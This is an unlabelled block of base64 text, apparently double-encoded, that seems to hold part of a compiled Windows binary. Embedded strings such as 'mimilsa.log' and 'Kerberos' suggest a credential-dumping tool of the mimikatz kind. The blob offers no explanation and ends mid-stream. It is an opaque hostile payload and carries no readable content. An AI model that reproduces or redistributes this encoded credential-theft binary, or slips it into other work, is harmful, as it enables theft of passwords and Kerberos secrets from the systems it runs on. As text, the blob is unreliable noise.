Ly85WlZ2OFZtTElERUErM1F3SVB0d3VEd0FhTFZDUVVBOWlMUkNRa1FnUFppVlFrRkErM1FHNDcwSWxjSkJnUGdzejkvLzlmWGwxYmkrVmR3MVdMN0lQaytJUHNMRk5XVjJnZ1lnVVFpOXFMK2VockNmLy9XWTFFSkJDNmhRQUpBRkNOUkNRWWk4OVE2S2I0Ly85WldZWEFENFNnQUFBQWkwUWtFR2FKUkNRYVpvbEVKQmlMUkNRVWlVUWtISTFFSkJoUWFHaGlCUkRvSlFuLy80czFQTFFERUkxRUpDQlpXV29CVUkxRUpEQlEvOWFGd0hoaFU0MUVKRFJRL3hWWXRBTVFhZ0dOUkNRMFVJMUVKQ2hRLzlhTE5XUzBBeENGd0hnMmpVUWtLTHFCQUFrQVVJMUVKQ1NMejFEb0xnQUFBSTFFSkRDNmh3QUpBRkNOUkNRc2k4OVE2QmdBQUFDRHhCQ05SQ1FnVVAvV2pVUWtLRkQvMWw5ZVc0dmxYY09EN0F5TlJDUUlVMVZXVjFDTlJDUVlpL0pRNk4zMy8vOVpXWVhBZEdxQi9vRUFDUUIxRkl0OEpDQzRNRTRGRUl0Y0pDUzlTRTRGRU9zU2kzd2tKTGc4VGdVUWkxd2tJTDFVVGdVUWkzUWtGSU0rQUhRemkwNEVoY2wwRTFOWFVJMEVNVFBTVURQSjZIbm8vLytEeEJDTFJnaUZ3SFFTVTFjRHhqUFNWVkF6eWVoZzZQLy9nOFFRWDE1ZFc0UEVETU5WaSt5QjdGUUJBQUJXVjRObCtBREhoYXorLy85REFFd0F4NFd3L3YvL1JRQkJBTWVGdFA3Ly8xSUFWQURIaGJqKy8vOUZBRmdBeDRXOC92Ly9WQUFBQURQQWpiM0Evdi8vcTZ1cnE2dkhoZFQrLy85WEFFUUF4NFhZL3YvL2FRQm5BTWVGM1A3Ly8yVUFjd0RIaGVEKy8vOTBBQUFBYWdaWk04Q052ZVQrLy8venE4ZUYvUDcvLzBzQVpRREhoUUQvLy85eUFHSUF4NFVFLy8vL1pRQnlBTWVGQ1AvLy8yOEFjd0NEcFF6Ly8vOEFNOENOdlJELy8vK3JxNnVycThlRkpQLy8vMHNBWlFESGhTai8vLzl5QUdJQXg0VXMvLy8vWlFCeUFNZUZNUC8vLzI4QWN3REhoVFQvLy84dEFFNEF4NFU0Ly8vL1pRQjNBTWVGUFAvLy8yVUFjZ0RIaFVELy8vOHRBRXNBeDRWRS8vLy9aUUI1QU1lRlNQLy8vM01BQUFCcUVsaG1pVVhFYWhKWVpvbEZ4bzJGclA3Ly80bEZ5R29PV0dhSlJjeHFEbGhtaVVYT2pZWFUvdi8vaVVYUWFoQllab2xGMUdvUVdHYUpSZGFOaGZ6Ky8vK0pSZGhxSmxobWlVWGNhaVpZWm9sRjNvMkZKUC8vLzRsRjRHb0JhQUFBQUJDTlJlUlFhZ0M0UVVGQlFmL1FoY0FQakxZQ0FBQ05SZWhRYWdXNFNFaElTUC9RaGNBUGpKWUNBQUNOUmV4UWkwWG8vM0FJYUFBQUFCRC9kZVM0UkVSRVJQL1FoY0FQakdrQ0FBQ05SZlJRaTBVSS8zQVlhQUFBQUJEL2RleTRSVVZGUmYvUWhjQVBqRDBDQUFDRFpmd0E2d2VMUmZ4QWlVWDhnMzM4QlErRDVBQUFBR3RGL0JpRHBBVmcvLy8vQUd0Ri9CaURwQVZRLy8vL0FHdEYvQmlMVGZ5SmpBVk0vLy8vYTBYOEdNZUVCVnovLy8rQUFBQUFnMzM4QUhRM2EwWDhHSTJFQlZELy8vOVFhMFg4R0kyRUJXRC8vLzlRaTBYOGpVVEZ2RkQvZGZTNFEwTkRRLy9RYTAzOEdJbUVEVnovLy8vck1tdEYvQmpIaEFWUS8vLy9KQUFBQUd0Ri9CaU5oQVZnLy8vL1VHb1MvM1gwdUVaR1JrYi8wR3ROL0JpSmhBMWMvLy8vYTBYOEdJTzhCVnovLy84QWZDMXJSZndZZzd3RllQLy8vd0IwSDJ0Ri9CaUR2QVZRLy8vL0FIUVJhMFg4R0l0TitBT01CVkQvLy8rSlRmanBDLy8vLzR0RitJUEFXSXROQ0lsQkRHb0VhQUF3QUFDTFJRai9jQXhxQUxoS1NrcEsvOUNKUmZDTFJRaUxUZkNKU0JDRGZmQUFENFQvQUFBQWcyWDRBSXRGQ0l0QUVNY0FCUUFBQUlObC9BRHJCNHRGL0VDSlJmeURmZndGRDRQWUFBQUFhMFg4R0lPOEJWei8vLzhBRDR6QkFBQUFhMFg4R0lPOEJXRC8vLzhBRDRTQkFBQUFhMFg4R0lPOEJWRC8vLzhBZEhPTFJmaUR3RmhyVGZ3WWlZUU5WUC8vLzJ0Ri9CaU50QVZNLy8vL2kwVUlpMEFRaTAzOHdlRUVqWHdJQ0tXbHBhVnJSZndZLzdRRlVQLy8vMnRGL0JqL3RBVmcvLy8vYTBYOEdJdE5DSXRKRUFPTUJWVC8vLzlSdUV4TVRFei8wSVBFREd0Ri9CaUxUZmdEakFWUS8vLy9pVTM0ZzMzOEFIUVVhMFg4R1ArMEJXRC8vLys0UzB0TFMvL1E2eFJxRW10Ri9Cai90QVZnLy8vL3VFZEhSMGYvME9rWC8vLy9qVVgwVUxoQ1FrSkMvOUNOUmV4UXVFSkNRa0wvMFA5MTZHb0Z1RWxKU1VuLzBJMUY1RkM0UWtKQ1F2L1FNOEJmWG92bFhjSUVBRldMN0xoeVlYTnNYY05SYUlCbEJSRC9GWUN5QXhDanJDZ0dFSVhBRDRUU0FBQUFWb3MxZkxJREVHaVFaUVVRVVAvV2FLQmxCUkQvTmF3b0JoQ2p1Q2dHRVAvV2FMQmxCUkQvTmF3b0JoQ2pxQ2dHRVAvV2FNUmxCUkQvTmF3b0JoQ2pzQ2dHRVAvV2FOaGxCUkQvTmF3b0JoQ2p3Q2dHRVAvV2FPaGxCUkQvTmF3b0JoQ2p2Q2dHRVAvV2l3MjRLQVlRbzZRb0JoQmVoY2wwUm9NOXFDZ0dFQUIwUFlNOXNDZ0dFQUIwTklNOXdDZ0dFQUIwSzRNOXZDZ0dFQUIwSW9YQWRCNkRQVkFxQmhBR2pRUWthTFFvQmhCUUc4QnFBSVBBQWxELzBZWEFkQlAvTmF3b0JoRC9GWGl5QXhDREphd29CaEFBTThCWnc2R3NLQVlRaGNCMEpvc050Q2dHRUlYSmRCVnFBRkgvRmFnb0JoQ0RKYlFvQmhBQW9hd29CaEJRL3hWNHNnTVFNOEREYWhabytHVUZFR29XdWhCbUJSQzVLR1lGRU9peUF3QUFnOFFNTThERGFpcG9PR1lGRUdvcXVtUm1CUkM1a0dZRkVPaVVBd0FBZzhRTU04RERhaDVvcUdZRkVHb2V1c2htQlJDNTZHWUZFT2gyQXdBQWc4UU1NOEREVVRQU3VXQVBCaEJxQUdnQVp3VVFRdWpTQlAvL2c4UU1NOEREaTB3a0JJdFVKQWc3RVhJY2kwRUlBd0U3MEhNVC8zRVFhQmhuQlJEbzlnSC8vMWxaTThEckF6UEFRTUlJQUlIc2tBQUFBRk5WVmxkcUJGNHo3WWwwSkZpTlJDUVRpWFFrZElsRUpFd3oyNDFFSkJTSlRDUTBpVVFrYUVOcUFsaUpSQ1Jzdmt3QkFBQ0pSQ1J3aS8wendJbDhKQmhtTzliR1JDUVQ2V2JIUkNRVS95V05kQ1JZRDVYQVpzZEVKQnhRU0lsRUpIaU5SQ1FjaVlRa2hBQUFBSTFFSkRpSlJDUW9qVVFrR0lsRUpFQ05SQ1E0aVVRa1JJc0JpVVFrTEl0QkJJbEVKRENMeGNaRUpCNjRpV3drU0lsY0pGQ0pYQ1JVaVZ3a1hJbHNKR0NKWENSa2lWd2tmSW1zSklBQUFBREhoQ1NJQUFBQUF3QUFBTWVFSkl3QUFBQURBQUFBeDRRa2tBQUFBQVFBQUFDSnJDU1VBQUFBaWF3a21BQUFBSWxzSkRpSmJDUThpV3drSklsRUpDQ0QrQU1QZzZJQUFBQ0xqQ1NrQUFBQU8wN3dENEtDQUFBQWl4NkxidndEM1ZOcVFQOFZrTElERUlsRUpDU0Z3SFJpaTFRa05JMU1KQ1JUNklQMi92K0xmQ1FvV1lYQWRFVC9kdmhYLzNiMDZQWVZBZ0NEeEF5RndIVXhnMzRFQUlzRUwzUUdBMFFrTEFQRGczNElBSWxFSkJoMEdHb0VqVlFrTUlsRUpEQ05UQ1JFNkR2Mi92K0xmQ1FvV1ZmL0ZaaXlBeENMUkNRZ2kzd2tHRUNEeGh5SlJDUWdoZjhQaEZYLy8vK0x4MTllWFZ1QnhKQUFBQUREVll2c2crVDRnK3dNVTFhTGRRaFhNLytMMzR0R0hJbEVKQkNMUmlDSlJDUVVPWDRjRDRTUUFBQUFab3NXalV3a0VGUG9FZjcvLzRsRUpCUlpoY0IwRjR0TkRJc1JPOEp5Q1l0SkNBUEtPOEYyMkl2NFErdlRoZjkwWDR0RkRQOXdFRk5vS0djRkVPakcvLzcvZzhRTWczNE1BSFFLLzNZTWFFUm5CUkRyQ1A5MkJHaFFad1VRNktiLy92OVpXVmYvZGh4b1hHY0ZFT2lXLy83L2kwNGdnOFFNdXI5cEFSQlg2TGNFLy8vSEJDUjBWUVFRNkhuLy92OVpYelBBWGtCYmkrVmR3Z2dBaTB3a0JMcWxhd0VRVWVneERQLy9NOEJaUU1JSUFGV0w3SXRGQ0ZhTGNFU0QvZ1IyYlZhRHdEaFFhSFJuQlJEb09QLysvNFBFREZacUFHZ0FBQUNBL3hYUXNnTVFpL0NGOW5RMGpVVUlNOGxRaTlaQjZQM3ovdjlaaGNCMEdJdE5DTHByYkFFUWFnRG9NUVQvLzFtTFRRam9pL1QrLzFiL0ZiU3lBeERyRS84VnJMSURFRkJvaUdjRkVPamMvdjcvV1ZrendFQmVYY0lJQURQU3VZRnNBUkRvUHdQLy96UEF3MVdMN0lQaytJUHNYRk9Md1l2YVZsY3ovNGxFSkJTTlRDUWdpWHdrSUlsTUpEU0wwSXRORElsTUpDaU5UQ1FnVjRsTUpEQ05UQ1JNVVZkWFYxZFJhZ1F6eVlsOEpFU0pmQ1E0aVh3a1BJbGNKRkRvUkFyLy80UEVJSVhBRDRUa0FBQUFpMVFrU0kxRUpCd3p5VkJCNkRyei92OVpoY0FQaEs0QUFBQlJpMHdrSUkxVUpGem9vQWYvLzFtRndBK0VqZ0FBQUl0RUpHQ05WQ1FRalV3a0dJbEVKQmpvRndqLy80WEFkSFdMZENRUWpWUWtNSXRFSkJ4UlYxZUpSQ1JJalV3a1JJdEdORmVKUkNSSWkwWlFWLzkxRUlsRUpGaU5SQ1JBVVA5MUNPZ1gvLzcvaS9pRHhDQ0YvM1FiLzNRa1JQOTFERlAvZENRZ2FCQm9CUkRvd2YzKy80UEVGT3NUL3hXc3NnTVFVR2hvYUFVUTZLdjkvdjlaV1ZiL0ZaaXlBeENMVENRYzZDN3ovdi8vZENSSS94VkV0QU1RLzNRa1RJczF0TElERVAvVy8zUWtTUC9XaThkZlhsdUw1VjNEVll2c29iUW9CaENEN0JDRndBK0VSUUVBQUZhTlRmd3o5bEZXVVA4VnNDZ0dFSVhBRDRVdEFRQUFpMFg4aVhBRTZRMEJBQUJveEdrRkVPZzEvZjcvaTAzOGFVRUVGQUlBQUlQQkNBUEk2Tk11Ly8rTFZmeHBTZ1FVQWdBQWpVSVlBOEZRaTRRUkdBSUFBUDgwaFZCSkJCQm96R2tGRU9qNS9QNy9pMDM4alVYNGc4UVFVR2xCQkJRQ0FBQldnOEFJQThGUS96VzBLQVlRL3hYQUtBWVFoY0FQaFpVQUFBQ0xSZmlKY0FUcmVHbEJCQVFDQUFDRHdRZ0R3VkJvNUdrRkVPaXUvUDcvV1ZtTFRmaU5SZkJXVUkxRjlNZEY4QVFBQUFCUWFVRUVCQUlBQUlQQkNGWUR3WXROL0ZCcFFRUVVBZ0FBZzhBSUE4RlEvelcwS0FZUS94VzhLQVlRaGNCMUdQOTE5R2dRTGdVUTZGNzgvdjlaV2Y5MTlQOFZwQ2dHRUl0RitQOUFCSXROK0l0QkJEc0JENEo2Ly8vL1VmOFZwQ2dHRUl0Ri9QOUFCSXROL0l0QkJEc0JENExsL3YvL1VmOFZwQ2dHRUY0endJdmxYY05WaSt5RDdFakhSZXh0YVcxcHgwWHdiSE5oTHNkRjlHeHZad0RIUmZoaEFBQUF4MFc0V3dBbEFNZEZ2REFBT0FESFJjQjRBRG9BeDBYRUpRQXdBTWRGeURnQWVBREhSY3hkQUNBQXgwWFFKUUIzQU1kRjFGb0FYQURIUmRnbEFIY0F4MFhjV2dBSkFNZEY0Q1VBZHdESFJlUmFBQW9BZzJYb0FJMUYrRkNOUmV4UXVFRkJRVUgvMEZsWmlVWDhnMzM4QUhROGkwVVFnOEFZVUl0RkVJUEFDRkNMUlJDRHdCQlFpMFVRL3pDTFJSRC9jQVNOUmJoUS8zWDh1RUpDUWtMLzBJUEVIUDkxL0xoRFEwTkQvOUJaLzNVVS8zVVEvM1VNLzNVSXVFUkVSRVQvMEl2bFhjSVFBRldMN0xod2MzTnRYY05WaSt5RDVQaUI3SXdBQUFBUEtBWHcxUVVRalVRa0pGTldpVVFrRkkxVUpDaTQ5R2tGRU1kRUpFQU1hZ1VRVnpQMmlVUWtRSWxFSkZDNUtHb0ZFSWxFSkdDTlJDUkFhZ1JiaVhRa01JbDBKRFNKZENRVXgwUWtTRUZCUVVHSmRDUk14MFFrVkJScUJSREhSQ1JZUWtKQ1FvbDBKRnpIUkNSa0lHb0ZFQThSUkNSb3gwUWtlRVJFUkVTSmRDUjhpVndrT0lsRUpEem9nLy8rLzRYQUQ0UTdBZ0FBLzNRa0xGWm9PQVFBQVA4VjBMSURFSXY0aGY4UGhCTUNBQUNOUkNRUU04bFFpOWRCNkVIdi92OVpoY0FQaFBJQkFBQ0xUQ1FRallRa2hBQUFBRkM2UEdvRkVPaEFBLy8vV1lYQUQ0VEtBUUFBaTRRa2hBQUFBSXZUL3pWVUtnWVFpVVFrSUxtZ0R3WVFpNFFrakFBQUFJbEVKQ1NMaENTUUFBQUFpVVFrS09pUi9QNy9pL0JaaGZZUGhJd0JBQUNMVGdpTlJDUWNVWWxNSkJpTlRDUVlpMVlFVU9oMThmNy9XVm1Gd0ErRVZnRUFBSXRlR0lQREJWTnFRUDhWa0xJREVJbEVKQlNGd0ErRVRnRUFBSXRFSkNpTlZDUU1BMFlValV3a0ZJbEVKQ2lKUkNRTS8zWVk2R3p2L3Y5WmhjQVBoUFFBQUFDTFZoaUxUQ1FVb0NzSkJoQnFRSWdFRVl2VGpVd2tFT2hiOHY3L1dZWEFENFRpQUFBQWkxUWtLSXRPR0N0VUpBeUxSQ1FVZytvRlU0bFVBUUdOVkNRWWkwUWtFSTFNSkJDSmhDU0FBQUFBNkEvdi92OVpoY0FQaElrQUFBQ0xUQ1FRalVRa0RGQ05SQ1E4dXNGdkFSQlF1S3B3QVJBcndsRG8yUmIvLzRQRURJWEFkRlNMVENRVWpWUWtGS0FyQ1FZUWlBR0xUQ1FNSzB3a0tJdEVKQlNENlFXSlNBR05UQ1FNaTBRa0tJbEVKQXovZGhqb3F1NysvMW1Gd0hRTWFGUnFCUkRvdy9qKy8rczgveFdzc2dNUVVHaHdhZ1VRNnlqL0ZheXlBeEJRYUFCckJSRHJHdjhWckxJREVGQm91R3NGRU9zTS94V3NzZ01RVUdoSWJBVVE2SWI0L3Y5WldmOTBKQlQvRlppeUF4RHJFLzhWckxJREVGQm8wR3dGRU9obitQNy9XVm1MVENRUTZQSHQvdjlYL3hXMHNnTVE2eUgvRmF5eUF4QlFhRWh0QlJEckRQOFZyTElERUZCb3NHMEZFT2cwK1A3L1dWbGZYalBBVzR2bFhjTlZpK3lEN0J6SFJmeWFBQURBeGtYa1lNWkY1YnJHUmVaUHhrWG55c1pGNk56R1JlbEd4a1hxYk1aRjYzckdSZXdEeGtYdFBNWkY3aGZHUmUrQnhrWHdsTVpGOGNER1JmSTl4a1h6OW1va2FnQzRTa3BLU3YvUWkwMFVpUUdMUlJTRE9BQVBoS3NBQUFDTlJmUlEvM1VRLzNVTS8zVUl1RU5EUTBQLzBJbEYvSU45L0FCOGRtb1EvM1gwaTBVVS96QzRURXhNVFAvUWc4UU1qVVg0VVA5MUVHb1FqVVhrVUxoRFEwTkQvOUNKUmZ5RGZmd0FmRHRxRVA5MStJdEZGSXNBZzhBUVVMaE1URXhNLzlDRHhBeHFCSTFGQ0ZDTFJSU0xBSVBBSUZDNFRFeE1UUC9RZzhRTS8zWDR1RXRMUzB2LzBQOTE5TGhMUzB0TC85Q0RmZndBZlJLTFJSVC9NTGhMUzB0TC85Q0xSUlNESUFDTFJmeUw1VjNDRUFCVmkreUQ3QnpIUmZpYUFBREFpMFVZaXdDSlJmVEdSZVJneGtYbHVzWkY1ay9HUmVmS3hrWG8zTVpGNlViR1JlcHN4a1hyZXNaRjdBUEdSZTA4eGtYdUY4WkY3NEhHUmZDVXhrWHh3TVpGOGozR1JmUDIvM1VRYWdDNFNrcEtTdi9RaVVYOGczMzhBSFI5LzNVUS8zVU0vM1g4dUV4TVRFei8wSVBFRFA5MUdQOTFGUDkxRVA5MS9QOTFDTGhFUkVSRS85Q0pSZmlEZmZnQWZVR0xSUmlMVGZTSkNQOTFHUDkxRlA5MUVQOTEvSXRGQ0lQQUVGQzRSRVJFUlAvUWlVWDRnMzM0QUh3V2FoQ05SZVJRaTBVSS8zQWd1RXhNVEV6LzBJUEVEUDkxL0xoTFMwdEwvOUNMUmZpTDVWM0NGQUJWaSt5NGJHVnJjMTNEVll2c2crVDRnZXlvQUFBQUR5Z0ZBTllGRUkxRUpFaFRWWWxFSkJpNG5FRUZFRll6OW9sRUpHU0pSQ1IwalVRa1pGZUpSQ1JralVRa0tBOFJoQ1NRQUFBQWFEQVBCaEFQS0FYdzFRVVFVSWwwSkNDSmRDUmdpWFFrWklsMEpDVEhSQ1IwUUc0RkVNZEVKSGhLU2twS2lYUWtmTWVFSklRQUFBQ29RZ1VReDRRa2lBQUFBRXRMUzB1SnRDU01BQUFBeDRRa2tBQUFBSWhCQlJESGhDU1VBQUFBdEVJRkVBOFJoQ1NvQUFBQXg0UWt1QUFBQUVSRVJFU0p0Q1M4QUFBQXgwUWthQVVBQUFDSmRDUXdpWFFrTlA4VldMUURFSTFVSkRDNUtHb0ZFT2dwK3Y3L2hjQVBoSmtDQUFEL2RDUXdWbWc0QkFBQS94WFFzZ01RaS9pRi93K0ViQUlBQUkxRUpCUXp5VkNMMTBIbzUrbisvMW1Gd0ErRVN3SUFBSUU5VkNvR0VJZ1RBQUM5cUc4RkVJc2RyTElERUErQzlBQUFBSXRNSkJTTlJDUkVVTHBNYmdVUTZNNzkvdjlaaGNBUGhMa0FBQUNMUkNSRWlVUWtOSXRFSkVpSlJDUTRpMFFrVEZHSlJDUkFqVXdrSUkxRUpEakhSQ1FnTUE4R0VGQnFLRnJvS096Ky8xbFpoY0IwZW1oa2JnVVE2SHYwL3YrTlJDUXNpVVFrSUkxTUpDQ0xSQ1JFaVVRa01JMUVKRGhRYWdoYTZQZnIvdjlaV1lYQWRFTC9kQ1JBYUh4dUJSRG9SdlQrLzR0RUpFaU5WQ1FrYWdpTlRDUWNpWFFrTklsMEpEaUpSQ1FjNlAvcC92K0w4SVBFRElYMmRDbG9tRzRGRU9nVTlQNy82eGhveUc0RkVPdnlhRGh2QlJEcjYvL1RVRlhvKy9QKy8xbFpoZloxRUlFOVZDb0dFSWdUQUFBUGd6TUJBQUNMVENRVWpVUWtSTDVnY0FVUVVJdlc2Tmo4L3Y5WmhjQVBoQW9CQUFCVy94VjBzZ01RaS9DTlJDUWtVR29YL3hVSXRBTVFoY0FQaVBjQUFBQ0xSQ1FrdTY1ekFSQ0wwNHRJSUN2T0Ewd2tSSW1NSktRQUFBQ0xRQ2lMVENRVUs4WURSQ1JFaVlRa3RBQUFBSTFFSkJCUWpVUWtaRkM0dTNVQkVDdkRVT2d1RWYvL2c4UU1oY0FQaEk4QUFBQm9mSEFGRU9oTzgvNy9pMFFrRkkxVUpDQ0pSQ1FjalVRa0hJbEVKQ0NMUkNRb1dZdE1KRVNEd0NBcnpnUEJqVXdrRUdvRWlVUWtGT2p6NlA3L1dZWEFkR1QvZENRUWFLQndCUkRvQ1BQKy80dE1KRXlOVkNRa3VNdDBBUkFyeml2REFVUWtJSXRFSkN5RHdDZ0R3WTFNSkJocUJJbEVKQnpvcytqKy80UEVESVhBZENML2RDUVFhTXh3QlJEckVHZ0FjUVVRNkwveS92L3JDdi9UVUZYb3RQTCsvMWxaaTB3a0ZPZys2UDcvVi84VnRMSURFT3NUL3hXc3NnTVFVR2lBY1FVUTZJL3kvdjlaV1Y4endGNWRXNHZsWGNPRDdHaFRNOXZIUkNSZ0FRRUFBSWxjSkF6SFJDUmtBQUFBQmNkRUpHZ2dBQUFBT1Z3a2NIUUlpMFFrZElzQTZ3VzR0Rk1FRUZDTlJDUmNVUDhWV0xRREVGTnFNWTFFSkNCUWpVUWtaRkQvRlpDekF4Q0Z3QStJYXdRQUFJMUVKQXhRalVRa1pGQm9BQU1BQVA5MEpDVC9GWVN6QXhDRndIa05VR2dZY2dVUTZQL3gvdjlaV1ZWV1Y0czltTE1ERUlsY0pGU05SQ1JRVUdvQmpVUWtSRkNOUkNSZ1VQOTBKRFQvRmFDekF4Q0wySWxjSkdDRjIza1NVMmhJZGdVUTZNRHgvdjlaV2VuR0F3QUFNKzJKYkNSSU9Xd2tVQStHc0FNQUFEUGJpVndrVEl0RUpEeUR3QVFEdzFCb2lISUZFT2lQOGY3L1dWbU5SQ1E0VUl0RUpFQ0R3QVFEdzFEL2RDUXMveFYwc3dNUWhjQVBpRXdEQUFCb3NISUZFT2hpOGY3L1dZdE1KRGpvUENQLy80MUVKQlJRLzNRa1BHZ0FBd0FBLzNRa01QOFZoTE1ERUlYQUQ0Z0RBd0FBZzJRa1dBQ05SQ1JFVUdvQmpVUWtNRkJxQUkxRUpHaFEvM1FrS1A4VmZMTURFSXZZaVZ3a1hJWGJlUkpUYUJCMUJSRG9BZkgrLzFsWjZhVUNBQUF6N1Rsc0pFUVBocE1DQUFBejI0dE1KQ2lOUVFRRHcxRC9OQXRvMEhJRkVPalY4UDcvZzhRTWpVUWtORkNMUkNRcy96UURhQnNEQUFEL2RDUWcveFdJc3dNUWhjQVBpRFVDQUFDTlJDUkFVSTFFSkRCUS8zUWtQUDhWZUxNREVJWEFlSG96OWpsMEpFQjJhb3RFSkN6L05QQm82SElGRU9oKzhQNy9XVm1OUkNRY1VJMkVKSUFBQUFCUWkwUWtOSTBFOEZCcUFmOTBKQ1QvRll5ekF4Q0Z3SGdlLzNRa2ZHZ1FXQVFRNkVudy92OVpXZjkwSkh6LzEvOTBKQnovMStzTlVHZ0Fjd1VRNkM3dy92OVpXVVk3ZENSQWNwYi9kQ1FzLzlmckRWQm9hSE1GRU9nUzhQNy9XVm1OUkNRd1VJdEVKQ3ovTkFQL2RDUTgveFZzc3dNUWhjQVBpRjhCQUFDTlJDUVFVSTFFSkNSUWpVUWtPRkJxQWY5MEpDVC9GWEN6QXhDRndIaDZNL1k1ZENRZ2RtcUxSQ1FRL3pTd2FNeHpCUkRvdXUvKy8xbFpqVVFrSEZDTmhDU0FBQUFBVUl0RUpCaU5CTEJRYWdIL2RDUWsveFdNc3dNUWhjQjRIdjkwSkh4b0VGZ0VFT2lGNy83L1dWbi9kQ1I4LzlmL2RDUWMvOWZyRFZCb0FITUZFT2hxNy83L1dWbEdPM1FrSUhLVy8zUWtFUC9YNncxUWFPQnpCUkRvVHUvKy8xbFpnM3drR0FBUGhLWUFBQUNOUkNRUVVJMUVKQ1JRalVRa09GQnFBZjkwSkNqL0ZYQ3pBeENGd0hoNk0vWTVkQ1FnZG1xTFJDUVEvelN3YUVoMEJSRG9DZS8rLzFsWmpVUWtIRkNOaENTQUFBQUFVSXRFSkJpTkJMQlFhZ0gvZENRby94V01zd01RaGNCNEh2OTBKSHhvRUZnRUVPalU3djcvV1ZuL2RDUjgvOWYvZENRYy85ZnJEVkJvQUhNRkVPaTU3djcvV1ZsR08zUWtJSEtXLzNRa0VQL1g2dzFRYU9CekJSRG9uZTcrLzFsWi8zUWtNUC9YNncxUWFHQjBCUkRvaU83Ky8xbFovM1FrTlA4Vm5MTURFT3NOVUdpNGRBVVE2Ry91L3Y5WldVV0R3d3c3YkNSRUQ0SnovZi8vaTF3a1hQOTBKQ2ovMTRIN0JRRUFBQStFRnYzLy8vOTBKQlQvRlp5ekF4Q0xYQ1JNaTJ3a1NPc05VR2lBZFFVUTZDcnUvdjlaV2Y5MEpEai8xK3NOVUdqWWRRVVE2Qlh1L3Y5WldVV0R3d3lKYkNSSWlWd2tURHRzSkZBUGdscjgvLytMWENSZy8zUWtQUC9YYUhSVkJCRG82ZTMrLzFtQit3VUJBQUFQaE96Ny8vK0RmQ1FZQUY5ZVhYUUsvM1FrRFA4Vm5MTURFUDkwSkJqL0ZaeXpBeERyRFZCb3lIWUZFT2l4N2Y3L1dWa3p3RnVEeEdqRE04RERVVmFOUkNRRVVHb0FhZ0ZxRlA4VlNMUURFSXZ3aGZaNEVHb1VhSWgzQlJEb2dPMysvMWxaNnhCV2FoUm9zSGNGRU9odjdmNy9nOFFNaThaZVdjTXowcmtUZ0FFUTZkVHgvdjlWaSt5RDdCQldpM1VJaGZaMFQ0dEZESXQwc1B4V2FHeDVCUkRvTyszKy8xbFphZ0dOUmZDTDFsQXp3RkJRVUZCUlVEUEo2UHI0L3YrRHhDQ0Z3SFFLLzNYNGFKeDVCUkRyRFA4VnJMSURFRkJvd0hrRkVPZ0E3ZjcvV1ZrendGNkw1VjNEaTFRa0NJdE1KQVJxQU9na0FBQUFXY09MVkNRSWkwd2tCR29CNkJNQUFBQlp3NHRVSkFpTFRDUUVhZ0xvQWdBQUFGbkRVMVZXVjR0OEpCUytKUUlBd0l2SGcrZ0FkQ2FENkFGMEZZUG9BUStGMXdBQUFMc0FDQUFBdlloNkJSRHJGTHNBQ0FBQXZXUjZCUkRyQ0RQYnZUeDZCUkJEYWdDTlJDUVlVR2hrSVFVUTZGUWYvLytEeEF5RndBK0VrQUFBQUdvQWFnRC9kQ1FjNkxBN0FRQ0R4QXlKUkNRVWhjQjBlRkJxQUZQL0ZkQ3lBeENMMklYYmRGU0Q3d0IwSElQdkFYUU9nKzhCZFMxVC94VkV0QU1RNnhKVC94VlF0QU1RNndscUFGUC9GVXkwQXhDTDhJWDJlQXovZENRVVZXaW9lZ1VRNndkV1ZXalllZ1VRNlBici92K0R4QXhUL3hXMHNnTVE2eC8vRmF5eUF4QlFhRUI3QlJEbzJldisvMW5yQ21qQWV3VVE2TXpyL3Y5Wlg0dkdYbDFidzR0TUpBU05RVGhRLzNGRWFFUjhCUkRvcit2Ky96UEFnOFFNUU1JSUFJdFVKQWlMVENRRWFQNkFBUkRvRmdBQUFGbkRpMVFrQ0l0TUpBUm92SUVCRU9nQ0FBQUFXY05WaSt4UlUxWlhNOXVOUmZ4VFVHaGtJUVVRaS9PTCsraEZIdi8vZzhRTWhjQjBObE5ULzNYOFIraW5PZ0VBZzhRTVVGTm9BQUFBZ1A4VjBMSURFSXZ3aGZaMUZmOFZyTElERUZCb1dId0ZFT2dwNi83L1dWbnJRNDFGL0l2V1VJdlA2QUxnL3Y5WmhjQjBGNHRWQ0l0Ti9GUG9PZkQrLzFtTFRmem9rK0QrLytzVC94V3NzZ01RVUdqWWZBVVE2T3ZxL3Y5WldWYi9GYlN5QXhCZlhqUEFXNHZsWGNOV2kzUWtDUDkyRUdoZ2ZRVVE2TWZxL3YvL2RDUVV1aXFCQVJDTHp1aUw5LzcvZzhRTU04QkFYc0lJQUZhTGRDUUlWLzkyQlA5MkZHaHNmUVVRNkpmcS92K0R4QXkvakgwRkVJTitEQUIwRVA5MkNHaUVmUVVRNkh6cS92OVo2d1pYNkhQcS92K0RmaHdBV1hRUS8zWWNhSlI5QlJEb1grcisvMW5yQmxmb1Z1cisvNE4rREFCWmRCRC9kZ3hvbkgwRkVPaEM2djcvV2VzR1YrZzU2djcvZzM0UUFGbDBELzkyRUdpa2ZRVVE2Q1hxL3Y5WldUUEFYMEJld2dnQVZvdDBKQWovZGhCb1lIMEZFT2dKNnY3Ly8zUWtGSXZPNklYNC92K0R4QXd6d0VCZXdnZ0FWb3QwSkFqL2RnVC9kaGovZGhCb3RIMEZFT2pjNmY3L2kwWU1nOFFRaGNCMENGQm8ySDBGRU9zSS8zWUlhT0I5QlJEb3ZlbisvMWxaTThCQVhzSUlBSU44SkFRQVZsZUwrWFJqaTNRa0VQODJVbWcwZndVUTZKanAvditEeEF5RGZDUU1BWFVrL3piLzExbUZ3SFFIYUZ6UEJCRHJQZjhWckxJREVGQm9ZSDhGRU9odDZmNy9XZXN1aTFRa0ZJWFNkQldCUFZRcUJoQ3dIUUFBY2dtTER1aHJBUUFBNnhKb3lIOEZFT3NGYUNpQUJSRG9QT24rLzFsZk04QmV3Mm9BLzNRa0RMcVlnQVVRdVlpWUFCRC9kQ1FNNkduLy8vK0R4QXpEYWdEL2RDUU11cXlBQlJDNTA1Z0FFUDkwSkF6b1RQLy8vNFBFRE1OcUFmOTBKQXk2d0lBRkVMbDNtUUFRLzNRa0RPZ3YvLy8vZzhRTXcyb0MvM1FrRExyVWdBVVF1WW1aQUJEL2RDUU02QkwvLy8rRHhBekRhZ1AvZENRTXV1eUFCUkM1bTVrQUVQOTBKQXpvOWY3Ly80UEVETU5xRC85MEpBeTZBSUVGRUxtdG1RQVEvM1FrRE9qWS92Ly9nOFFNdzJvRi8zUWtETG9ZZ1FVUXVjR1pBQkQvZENRTTZMdisvLytEeEF6RFZZdnNhZ0JxQUdvQWFnQnFBR29BYWdCcUFHb0FpMFVJLzNBWWFnQnFBR29BaTBVSW